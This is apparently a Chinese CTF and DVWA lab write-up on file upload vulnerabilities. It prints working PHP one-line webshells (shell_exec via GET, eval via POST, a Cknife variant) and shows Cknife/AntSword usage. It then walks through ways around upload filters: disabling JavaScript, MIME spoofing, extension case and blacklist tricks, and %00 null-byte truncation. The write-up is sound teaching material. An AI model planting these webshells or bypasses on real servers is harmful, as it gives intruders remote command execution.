ctf不允许上传该类型php,wp for JULY 6th|undefined

上传的文件不进行限制,有可能会被利用于上传可执行文件、脚本到服务器上,并且通过脚本文件可以获得执行服务器端命令的能力

木马

语言分类

ASP(Active Server Pages 动态服务器页面)

JSP(Java Server Pages java 服务器页面)

PHP(Hypertext Preprocessor 超文本预处理器)

功能分类

小马:(尤其指只具有文件传输和执行功能)的远程控制木马

大马

php一句话木马

1.GET方式

一句话木马:<?php echo shell_exec($_GET['a']);?>shell_exec():通过环境执行命令,并且将完整的输出以字符串的方式返回

进入dvwa,将安全等级设置为low,上传本地的一句话木马文件(.php),打开浏览器http://10.21.13.97/dvwa/hackable/uploads/pa.php,hackbar中输入相关指令

列出当前目录的文件:http://10.21.13.97/dvwa/hackable/uploads/pa.php?a=ls

244a9695f571c63732ed2b9fbd3f63c2.png

列出目录:http://10.21.13.97/dvwa/hackable/uploads/pa.php?a=dir

faeef5f5c0cc7baea50fa30f879e98c3.png

查看文件的上一级目录:http://10.21.13.97/dvwa/hackable/uploads/pa.php?a=pwd

7b3557168f9d7aa4caa09d8b4d5aaa01.png

2.POST方式

一句话木马:<?php @eval($_POST['a']); ?>eval() :把字符串作为PHP代码执行

system():执行外部程序并显示输出

打开Post Data,输入相关指令:

5d32bad87ff30bd4b47c0f5f4d82ff25.png

列出当前目录的文件:a=system('ls');

7cd686ceaf0cebaf6d0e3a6267081a5f.png

列出目录:a=system('dir');

d57e59b2cd13f36e9af72018e00639e1.png

查看文件的上一级目录:a=system('pwd');

5541aa7e6dd304dcd463f115499409c3.png

查看php信息:a=phpinfo();

a48f26bcdc04e2a45b67906d9ae979ee.png

cknife的使用

使用一句话木马上传网站取得网站的权限

运行环境:安装了JRE1.7+环境的所有操作系统

主要功能有:文件管理,虚拟终端,数据库管理

不同脚本语言下

ASP:

ASP.NET:

PHP:<?php @eval($_POST['Cknife']);?>

操作:①右键选择添加

②在地址栏里输入已经上传的包含一句话木马的文件

③地址后面的小框输入Cknife(根据写的一句话木马)

④根据需要输入配置

⑤选择脚本类型和字符编码

⑥添加

⑦选中url,右键相应需要的文件管理、数据库管理、终端模拟等

DAVW LOW等级源码分析<?php

if (isset($_POST['Upload'])) {

//isset检测变量是否设置 POST上传文件

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";

//上传的路径为../../ hackable/uploads/

$target_path = $target_path . basename( $_FILES['uploaded']['name']);

//上传路径加上上传的文件名

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

//这里只做是否上传成功的判断,因此所有格式的文件都能上传

echo '

';

echo 'Your image was not uploaded.';

echo '

'; }

else {

echo '

';

echo $target_path . ' succesfully uploaded!';

echo '

'; } }

?>

文件上传漏洞检测

1、客户端javascript检测:通常在本地检测文件的扩展名

2、服务端MIME类型检测:通常检测的是Content-Type内容

3、服务端目录路径检测:通常跟path参数相关的内容

4、服务端文件扩展名检测:通常检测跟文件extension相关的内容

5、服务端文件内容检测:检测文件内容是否合法或含有恶意代码

客户端javascript检测

方法一:禁用js

2453034d6964cd2461deb529019eee76.png

观察源代码,使用的脚本语言是js,可直接通过禁用js实现文件上传

01119c2ca2090e0d55bd42b74404cc58.png

方法二:修改文件格式

通过源代码可以发现只允许接受后缀名为.jpg/.png/.gif的文件,因此我们先把文件后缀改为允许的后缀,再抓包,在burpsuite中修改文件后缀名再上传

服务端检测绕过(MIME类型检测)

c87ed63179befe5172603d88c1c92e85.png

规定文件类型,因此我们在抓包后只需将文件类型改为许可的文件类型。

服务端目录路径检测

9a7d83869a4c86d04570519b342c0fff.png

规定文件类型与路径,抓包后需要修改路径与文件名

ca12120808720d0a673581277bc1b3bb.png

其实此处还是有、、迷,因为当时只能从学姐的IP进去,菜刀也不好使,使用antsword才顺利找到文件,至于为什么。。。

学姐干货 ##:

上传时提供存储路劲为image/20160704/可以通过修改为image/20160704/evil.php%00来达到截断目的。后端程序会将该路径连接为image/20160704/evil.php%00filename.gif00截断导致最终存储的文件名为evil.php

有一些web应用程序有多个文件夹用来存储图片文件,所以为了标识上传的图片是属于哪个文件夹的,上传文件时会带上文件存储路劲。而此时如果对文件目录路劲检测不够完全,可以通过截断攻击。(如%00,windows下%80-%90)

服务端文件扩展名检测

学姐干货:

黑名单检测:

接收上传的文件做对比,如果匹配到黑名单中的后缀名,则不允许上传

绕过:1、后缀名大小写绕过 ,例如:将Burpsuite截获的数据包中的文件名evil.php改evil.Php

2、名单列表绕过,尝试使用非黑名单内的后缀名,如php5,php7等

3、特殊文件名绕过(只适用windows,将文件名改为evil.php.或evil.php (注意这里有一个空格),在windows下,不允许这样的命名,所以会将.和空格自动去掉)。

4、0x00截断绕过:在上传的时候,当文件系统读到0x00时,会认为文件已经结束。例如:1.php%00.jpg,验证扩展名是.jpg,但写入的时候是1.php文件

1.先写一个一句话木马.php

0760723ccbeea0f48ceb16208a41a6a1.png

2.打开网页,

abe5d9a8c4952271eb138328ea2d62d0.png

3.尝试上传.php文件

bcbc54e4c6fe835befba46ae9ccbb5ac.png

4.仅支持上传jpg,gif,png后缀的文件....okfine....说明文件后缀名是约束条件之一,那我们上传.jpg文件

5bf46f8d794e817426eab2fef68d78ff.png

5.又显示必须上传成后缀名为php的文件...

那么我们只能悄咪咪地截包,,,修改

6.上传pa.php,抓包,采用00截断法修改文件路径和文件后缀名

0fd9a3d313b3fa734c6a5b9a3a271de7.png

路径中直接输入pa.php%00.jpg,修改文件后缀,失败,很可能路径中%被转义了,因此我们选用先用空格标记位置,在路径中输入pa.php[space].jpg,再进入16进制修改表示空格的20为00,修改成功,找到flag

bMzrT8L.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值